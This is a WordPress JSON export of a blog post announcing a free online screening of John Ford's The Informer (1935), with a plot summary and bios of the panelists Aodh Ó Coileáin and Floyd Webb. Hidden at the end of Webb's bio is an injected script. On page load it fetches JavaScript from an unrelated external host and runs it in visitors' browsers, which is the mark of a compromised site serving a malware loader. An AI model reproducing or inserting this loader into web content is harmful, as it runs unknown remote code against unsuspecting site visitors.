{"id":7327,"date":"2021-06-27T14:02:08","date_gmt":"2021-06-27T19:02:08","guid":{"rendered":"https:\/\/blackworldcinema.net\/blog\/?p=7327"},"modified":"2025-06-03T00:28:02","modified_gmt":"2025-06-03T05:28:02","slug":"july-18-3pm-the-informer-1935-directed-by-john-ford","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2021\/06\/27\/july-18-3pm-the-informer-1935-directed-by-john-ford\/","title":{"rendered":"July 18, 3pm, The Informer (1935) directed by John Ford."},"content":{"rendered":"<p class=\"p1\"><b>July 18, 3pm, Free Online<br \/>\n<\/b><b><i>The Informer<\/i> (1935) John Ford, 1hr 31m<br \/>\nhttps:\/\/watchbeem.com\/cowatch\/the-informer-1935<br \/>\nPanelist : Aodh \u00d3 Coile\u00e1in (Hugh), Billy Ch\u00e9 Brooks<\/b><\/p>\n<p class=\"p3\">Forcefully and intelligently written, directed, and acted, John Ford\u2019s <i>The Informer<\/i> deals with the Irish rebellion against British authority prior to 1922, when the creation of the Irish Free State finally removed the hated symbols of British domination.<\/p>\n<p class=\"p3\">Amidst the rebellion-rife slums of Dublin, peasant Gypo Nolan (Victor McLaglen) and sex worker Katie Madden (Margot Grahame) are trying to get money for passage to America. After reproaching her, Gypo is in turn taunted for his miserable poverty and inability to provide money. Stung by the girl\u2019s bitterness, Gypo, in fascinated horror at his own wickedness, deliberately turns informer on his best friend to obtain a \u00a320 reward.<\/p>\n<p class=\"p1\"><b><a href=\"https:\/\/blackworldcinema.net\/blog\/2021\/06\/27\/july-18-3pm-the-informer-1935-directed-by-john-ford\/hugh1\/\" rel=\"attachment wp-att-7334\"><img decoding=\"async\" class=\"alignleft wp-image-7334\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1.png\" alt=\"\" width=\"82\" height=\"82\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-150x150.png 150w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-300x300.png 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-250x250.png 250w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-24x24.png 24w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-48x48.png 48w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/06\/hugh1-96x96.png 96w\" sizes=\"(max-width: 82px) 100vw, 82px\" \/><\/a>Aodh \u00d3 Coile\u00e1in (Hugh)<br \/>\n<\/b>Originally from Dingle, \u00d3 Coile\u00e1in is a broadcaster, film-maker, and lecturer who has also served as head of news at Radio na Gaeltachta and was co-founder of Irish language theatre company Na F\u00e1naithe. His involvement in theatre began in childhood.<\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"https:\/\/blackworldcinema.net\/blog\/floydwebbbwc-356px\/\"><img decoding=\"async\" class=\"wp-image-7346 alignleft\" src=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png\" alt=\"Floyd Webb - Black World Cinema\" width=\"91\" height=\"94\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px.png 356w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-292x300.png 292w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-243x250.png 243w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2021\/07\/floydwebbbwc-356px-24x24.png 24w\" sizes=\"(max-width: 91px) 100vw, 91px\" \/><\/a><\/p>\n<p><span class=\"s1\"><b>Floyd Webb<br \/>\n<\/b><\/span>Floyd Webb is a filmmaker, curator and founder of the Blacklight Film Festival, Black World Cinema screening series and bwcTV.yv streaming channel. He was associate producer of Julie Dash&#8217;s Daughters of the dust, producer and director of music videos and commercials, and works in digital media production. His career as a cultural worker began during his participation as a 15 year old in 1969, with the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Rainbow_Coalition_(Fred_Hampton)\">Black Panther Party Rainbow Coalition<\/a> and co-directing the <a href=\"https:\/\/popularresistance.org\/the-black-panther-partys-multiracial-anti-fascism\/\">National Committee to Combat Fascism<\/a> in Maywood, IL.<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>July 18, 3pm, Free Online The Informer (1935) John Ford, 1hr 31m https:\/\/watchbeem.com\/cowatch\/the-informer-1935 Panelist : Aodh \u00d3 Coile\u00e1in (Hugh), Billy Ch\u00e9 Brooks Forcefully and intelligently written, directed, and acted, John Ford\u2019s The Informer deals with the Irish rebellion against British authority prior to 1922, when the creation of the Irish Free State finally removed the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":7329,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[8,3,142,141,140],"tags":[],"class_list":["post-7327","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-future_programming","category-monthly-screenings-at-chatham-14","category-political-drama","category-rainbowcine","category-virtual-screening"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=7327"}],"version-history":[{"count":15,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7327\/revisions"}],"predecessor-version":[{"id":7503,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/7327\/revisions\/7503"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/7329"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=7327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=7327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=7327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}